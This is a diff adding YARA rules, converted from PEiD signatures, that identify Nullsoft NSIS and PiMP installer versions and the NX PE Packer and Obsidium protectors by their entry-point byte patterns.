+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01349_Nullsoft_Install_System_2_0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 ?? ?? ?? ?? 33 DB C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 56 57 A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 8D FF FF FF 8B 2D ?? ?? ?? ?? 85 C0}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01350_Nullsoft_Install_System_2_0a0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0a0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01351_Nullsoft_Install_System_2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01352_Nullsoft_Install_System_2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71}
+    condition:
+        $a
+}
+
+rule PEiD_01353_Nullsoft_Install_System_v1_98_
+{
+    meta:
+        description = "[Nullsoft Install System v1.98]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 2C 81 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01354_Nullsoft_Install_System_v1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System v1.xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00 56 56 56 89 75 E4 E8 C1 C9 FF FF 8B 1D 68 70 40 00 83 C4 0C 89 45 E8 89 75 F0 6A 02 56 6A FC 57 FF D3 89 45 FC 8D 45 F8 56 50 8D 45 E4 6A 04 50 57 FF 15 48 70 40 00 85 C0 75 07 BB 7C 9E 40 00 EB 7A 56 56 56 57 FF D3 39 75 FC 7E 62 BF 74 A2 40 00 B8 00 10 00 00 39 45 FC 7F 03 8B 45 FC 8D 4D F8 56 51 50 57 FF 75 EC FF 15 48 70 40 00 85 C0 74 5A FF 75 F8 57 FF 75 E8 E8 4D C9 FF FF 89 45 E8 8B 45 F8 29 45 FC 83 C4 0C 39 75 F4 75 11 57 E8 D3 F9 FF FF 85 C0 59 74 06 8B 45 F0 89 45 F4 8B 45 F8 01 45 F0 39 75 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01355_Nullsoft_Install_System_v1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System v1.xx]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 80 3E 20 75 07 56 FF D7 8B F0 EB F4 80 3E 2F 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01356_Nullsoft_Install_System_v2_0_RC2_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0 RC2]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D3 E8 6A FF FF FF 85 C0 0F 84 59 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 B9 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 40 43 00 8B 3D 18 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+    condition:
+        $a
+}
+
+rule PEiD_01357_Nullsoft_Install_System_v2_0_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D5 E8 6A FF FF FF 85 C0 0F 84 57 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 9C 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 75 0A C6 44 24 14 22 BE 01 40 43 00 FF 74 24 14 56 E8 8A 23 00 00 50 FF 15 80 71 40 00 8B F8 89 7C 24 18 EB 61 80 F9 20 75 06 40 80 38 20 74 FA 80 38 22 C6 44 24 14 20 75 06 40 C6 44 24 14 22 80 38 2F 75 31 40 80 38 53 75 0E 8A 48 01 80 C9 20 80 F9 20 75 03}
+    condition:
+        $a
+}
+
+rule PEiD_01358_Nullsoft_Install_System_v2_0a0_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0a0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00}
+    condition:
+        $a
+}
+rule PEiD_01359_Nullsoft_Install_System_v2_0b2__v2_0b3_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b2, v2.0b3]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01360_Nullsoft_Install_System_v2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00 68 E4 91 40 00 56 FF D3 E8 7C FF FF FF 85 C0 0F 84 59 01 00 00 BE E0 66 42 00 56 FF 15 68 70 40 00 68 D8 91 40 00 56 E8 FE 27 00 00 57 FF 15 BC 70 40 00 BE 00 C0 42 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 C0 42 00 22 A3 E0 6E 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 C0 42 00 8B 3D 10 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+    condition:
+        $a
+}
+
+rule PEiD_01361_Nullsoft_Install_System_v2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71 40 00 03 C6 50 E8 78 29 00 00 56 E8 47 2B 00 00 6A 00 56 FF D3 56 57 E8 EA 25 00 00 85 C0 75 0D C7 44 24 14 58 91 40 00 E9 72 02 00 00 57 FF 15 24 71 40 00 68 EC 91 40 00 57 E8 43}
+    condition:
+        $a
+}
+
+rule PEiD_01362_Nullsoft_PiMP_Install_System_1_x_
+{
+    meta:
+        description = "[Nullsoft PiMP Install System 1.x]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01363_Nullsoft_PIMP_Install_System_v1_3x_
+{
+    meta:
+        description = "[Nullsoft PIMP Install System v1.3x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01364_Nullsoft_PiMP_Install_System_v1_x_
+{
+    meta:
+        description = "[Nullsoft PiMP Install System v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 3E 2F}
+    condition:
+        $a
+}
+
+rule PEiD_01365_Nullsoft_PIMP_Install_System_v1_x_
+{
+    meta:
+        description = "[Nullsoft PIMP Install System v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01366_NX_PE_Packer_v1_0_
+{
+    meta:
+        description = "[NX PE Packer v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01367_Obsidium_1_2_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 3F 1E 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01368_Obsidium_1_2_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01369_Obsidium_1_2_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01370_Obsidium_1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01371_Obsidium_1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 7B 21 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01372_Obsidium_1_3_0_0____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium 1.3.0.0 -> Obsidium Software (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B}
+    condition:
+        $a
+}
+
+rule PEiD_01373_Obsidium_1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 47 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01374_Obsidium_1_3_0_13____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.13 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03}
+    condition:
+        $a at pe.entry_point
+}
+import "pe"
+
+rule PEiD_01375_Obsidium_1_3_0_13____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.13 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 03 ?? ?? ?? E8 13 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01376_Obsidium_1_3_0_17____Obsidium_software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.17 -> Obsidium software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01377_Obsidium_1_3_0_17____Obsidium_software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.17 -> Obsidium software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 4F 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01378_Obsidium_1_3_0_21____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.21 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01379_Obsidium_1_3_0_37____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.37 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01380_Obsidium_1_3_0_4____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium 1.3.0.4 -> Obsidium Software (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01381_Obsidium_1_3_1_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.1.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01382_Obsidium_1_3_2_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.2.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01383_Obsidium_1_3_3_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01384_Obsidium_1_3_3_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01385_Obsidium_1_3_3_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 3B 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
